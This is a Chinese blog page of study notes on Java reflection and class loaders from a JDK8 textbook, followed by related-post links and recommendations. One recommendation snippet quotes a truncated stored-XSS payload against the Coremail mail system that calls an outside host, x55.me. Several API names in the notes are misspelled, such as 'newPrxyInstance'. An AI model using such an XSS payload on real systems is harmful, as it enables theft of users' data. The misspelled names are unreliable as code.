java JDK8 学习笔记——第17章 反射与类加载器
第十七章 反射与类加载器
17.1 运用反射
反射:.class文档反映了类基本信息,从Class等API取得类信息的方式称为反射。
17.1.1 Class与.class文档
1、java.lang.Class的实例代表Java应用程序运行时加载的.class文档,类、接口、Enum等编译过后,都会生成.class文档。Class类没有公开构造函数,实例时候JVM自动产生,每个.class文档加载时,JVM会自动生成对应的Class对象。
2、取得Class对象的方式:
(1)通过Object的getClass方法
(2)通过.class常量取得每个对象对应的Class对象
(3)如果是基本类型,可以使用对应的打包类加上.TYPE取得Class对象
3、默认首次加载.class文档时会执行静态区块。
4、类信息是在编译时期存储在.class文档,这是java支持执行运行时类型识别的方式。编译时期若使用到相关类,编译程序会检查对应的.class文档中记载的信息,以确定是否可完成编译。执行时期使用某类是,会先检查是否有对应的Class对象,如果没有,会加载对应的.class文档并生成对应的Class实例。
5、默认使用getClass()或.class取得的Class实例会是同一个对象。
17.1.2 使用Class.forName()
1、Class.forName()方法实现动态加载类,可用字符串指定类名称来获得类相关信息。
2、Class.forName()另一个版本可以让指定类名称、加载类时是否执行静态区块与类加载器。
static Class forName(String name,boolean initialize,ClassLoader loader)
17.1.3 从Class获得信息
Class对象代表加载的.class文档,取得Class对象后,就可以取得.class文档中加载的信息,像是包、构造函数、方法成员、数据成员等类型。
17.1.4 从Class建立对象
1、事先不知道类名称时,可以利用Class.forName()动态加载.class文档,取得Class对象之后,利用其newInstance()方法建立类实例。
Class clz = Class.forName(args[0]); Object obj = clz.newInstance();
2、若类定义有多个构造函数,也可以指定使用哪个构造函数生成对象,这必须在调用Class的getConstructor()方法时指定参数类型,取得代表构造函数的Constructor对象,利用Constructor的newInstance()指定创建时的参数值来建立对象。
3、生成数组:数组的Class实例是由JVM生成,也可以通过.class或getClass()取得Class实例。生成动态生成长度为10的java.util.ArrayList数组:
Class clz = java.util.ArrayList.class; Object obj = Array.newInstance(clz,10);
4、从第一个索引取得被手机对象实际的Class实例,此时就可以用它配合Array.newInstance()建立数组实例。
17.1.5 操作对象方法与成员
1、可以使用invoke()方法来动态调用指定的方法。
2、调用受把保护或私有方法,可以使用Class的getDeclaredMethod()取得方法,并在调用Method的setAccessible()时指定为true。
17.1.6 动态代理
1、在反射API中有个Proxy类,可动态建立接口的操作对象。
2、使用代理机制有两种代理方式:静态代理和动态代理。
3、静态代理
在静态代理实现中,代理对象与被代理对象必须实现同一接口,在代理对象中可以实现日志服务,必要时调用被代理对象,,可以这样使用代理对象:
Hello proxy = new HelloProxy(new HelloSpeaker()); proxy.hello("Justin");
创建代理对象HelloProxy时必须指定被代理对象HelloSpeaker,代理对象代理HelloSpeaker执行hello方法。
静态代理必须为个别接口操作出个别代理类,在应用程序行为复杂时,多个接口必须定义多个代理对象,操作与维护代理对象会有不少的负担。
4、动态代理
使用动态代理机制,可使用一个处理者代理多个接口的操作对象,处理者类必须操作java.lang.reflect.InvocationHandler接口。
使用Proxy.newPrxyInstance()方法建立代理对象,调用时必须指定类加载器,告知要代理的接口,以及接口上定义方法被调用时的处理者,Proxy.newPrxyInstance()方法底层会使用原生方式生成代理对象的Class实例,并利用它来生成代理对象。
17.2 了解类加载器
类加载器实际的职责就载入.class文档,JDK本身有默认的类加载器。
17.2.1 类加载器层级架构
1、Bootstrap Loader:产生Exrtended Loader和System Loader
Exrtended Loader:父加载器为Bootstrap Loader
System Loader:父加载器为Exrtended Loader
2、Bootstrap Loader通常由C撰写而成。若是Oracle的JDK,Bootstrap Loader会搜索系统参数sun.boot.class.path中指定位置的类,默认是JRE目录的classes中的.class文档,或lib目录中.jar文档里的类。
3、Exrtended Loader由Java撰写而成,会搜索系统参数java.ext.dirs中指定位置的类,默认是JRE目录lib\ext\classes中的.class文档。
4、System Loader由Java撰写而成,会搜索系统参数java.class.path中指定位置的类,也就是CLASSPATH路径,默认是当前工作路径下的.class文档。
5、加载类是会以Bootstrap Loader->Exrtended Loader->System Loader的顺序寻找类,如果所有类加载器都找不到指定类,就会抛出java.lang.NoClassDefFoundError.
6、对null调用getParent()方法会抛出NullPointedException异常。
7、ClassLoader可以使用loadClass()方法加载类,使用localClass方法加载类时,默认不会执行静态区块,真正使用类建立实例时才会执行静态区块。
17.2.2 建立ClassLoader实例
1、使用URLClassLoader来产生新的类加载器,需要java.net.URL作为其参数来指定类加载的搜索路径。使用URLClassLoader的loadClass()方法加载指定类时,会先委托父加载器代为搜索。
2、由同一类加载器载入的.class文档,只会有一个Class实例。如果同一.class文档由两个不同的类加载器载入,则会有两份不同的Class实例。
3、path可以输入不在System Loader以上层级类加载器搜索路径的其他路径。
java JDK8 学习笔记——第17章 反射与类加载器的更多相关文章
- java JDK8 学习笔记——第16章 整合数据库
第十六章 整合数据库 16.1 JDBC入门 16.1.1 JDBC简介 1.JDBC是java联机数据库的标准规范.它定义了一组标准类与接口,标准API中的接口会有数据库厂商操作,称为JDBC驱动程 ...
- java JDK8 学习笔记——第15章 通用API
第十五章 通用API 15.1 日志 15.1.1 日志API简介 1.java.util.logging包提供了日志功能相关类与接口,不必额外配置日志组件,就可在标准Java平台使用是其好处.使用日 ...
- java JDK8 学习笔记——第13章 时间与日期
第十三章 时间与日期 13.1 认识时间与日期 13.1.1 时间的度量 1.格林威治标准时间GMT 格林威治标准时间的正午是太阳抵达天空最高点之时.现在已经不作为标准时间使用. 2.世界时UT世界时 ...
- java JDK8 学习笔记——第18章 自定义泛型、枚举与注释
第十八章 自定义泛型.枚举与注释 18.1 自定义泛型 泛型定义: (1)仅定义在方法上的泛型语法 (2)用来限制泛型可用类型的extends与super关键字(3)?类型通配字符的使用 18.1.1 ...
- java JDK8 学习笔记——第11章 线程和并行API
第11章 线程与并行API 11.1 线程 11.1.1 线程 在java中,如果想在main()以外独立设计流程,可以撰写类操作java.lang.Runnable接口,流程的进入点是操作在run( ...
- java JDK8 学习笔记——助教学习博客汇总
java JDK8 学习笔记——助教学习博客汇总 1-6章 (by肖昱) Java学习笔记第一章——Java平台概论 Java学习笔记第二章——从JDK到IDEJava学习笔记第三章——基础语法Jav ...
- Android(java)学习笔记108:通过反射获取私有构造方法并且使用
反射获取私有构造方法并且使用: 1.获取字节码文件.class对象: Class c = Class.forName("cn.itcast_01.Person") ...
- CSS3秘笈第三版涵盖HTML5学习笔记13~17章
第13章,构建基于浮动的布局 使用的是float(浮动)属性 注:float:none值将取消所有浮动,通常只用来取消元素中已经应用的浮动. 切记:不需要给正文的div设计宽度,即使设计成固定宽度也不 ...
- Android(java)学习笔记49:通过反射获取私有构造方法并且使用
1. 反射获取私有构造方法并且使用: (1)获取字节码文件.class对象: Class c = Class.forName("cn.itcast_01.Person&qu ...
随机推荐
- 了解Json
Json(JavaScript Object Notation) 是一种轻量级的数据交换格式,它是基于JavaScript的一个子集. 数据格式简单, 易于读写, 占用带宽小. {'age':'12' ...
- ZOJ 3157 Weapon
题目传送门 题意:就是CF round# 329 B 的升级版,要求出相交点的个数 分析:逆序数用树状数组维护,求出非逆序数,然后所有情况(n * (n - 1)) / 2减之就是逆序数个数. #in ...
- partial(C# 参考)
分部类型定义允许将类.结构或接口的定义拆分到多个文件中. 在 File1.cs 中: namespace PC { partial class A { } } 在 File2.cs 中: ...
- Xshell选中的同时把内容复制到剪贴板(还可以设置设置文本分隔符)
1.设置对话框 工具 -> 选项 -> 键盘和鼠标 -> 将选定的文本自动复制到剪贴板 2.贴图如下 2.1.打开设置对话框 2.2.设置键盘鼠标,左键复制 2.3.右键粘贴 作者: ...
- 简单Qt网络通信
最近要用到Qt的Socket部分,网上关于这部分的资料都比较复杂,我在这总结一下,把Socket的主要部分提取出来,实现TCP和UDP的简单通信. 1.UDP通信 UDP没有特定的server端和cl ...
- Coremail邮件系统存储型XSS两个
(1):Coremail邮件系统存储型XSS之一 给受害者发送主题如下的邮件: <svg onload='img=new Image();img.src="//x55.me/geo.p ...
- PreparedStatement与Statement的区别
PreparedStatement与statement的区别 1.PreparedStatement是预编译的,对于批量处理可以大大提高效率. 也叫JDBC存储过程 2.使用 Statement 对象 ...
- C#输入的字符串只包含汉字
public bool IsAllChineseCh(string input) { Regex regex = new Regex("^[\u4e00 ...
- Hbuild - 使用海马玩模拟器调试
http://ask.dcloud.net.cn/question/13605 通过海马玩CMD(Droid4X_Settings_Tools_v1.1.5.bat) 设置模拟器的端口 269 ...
- php的源代码包构建一个空的php扩展。
下载一个php的源代码包,这里使用的是php 4.0.5版,解压后会看到php的根目录下会有README.EXT_SKEL这样一个文件,打开详细阅读了一下,发现了一个非常好用的工具,这个工具可以帮你构 ...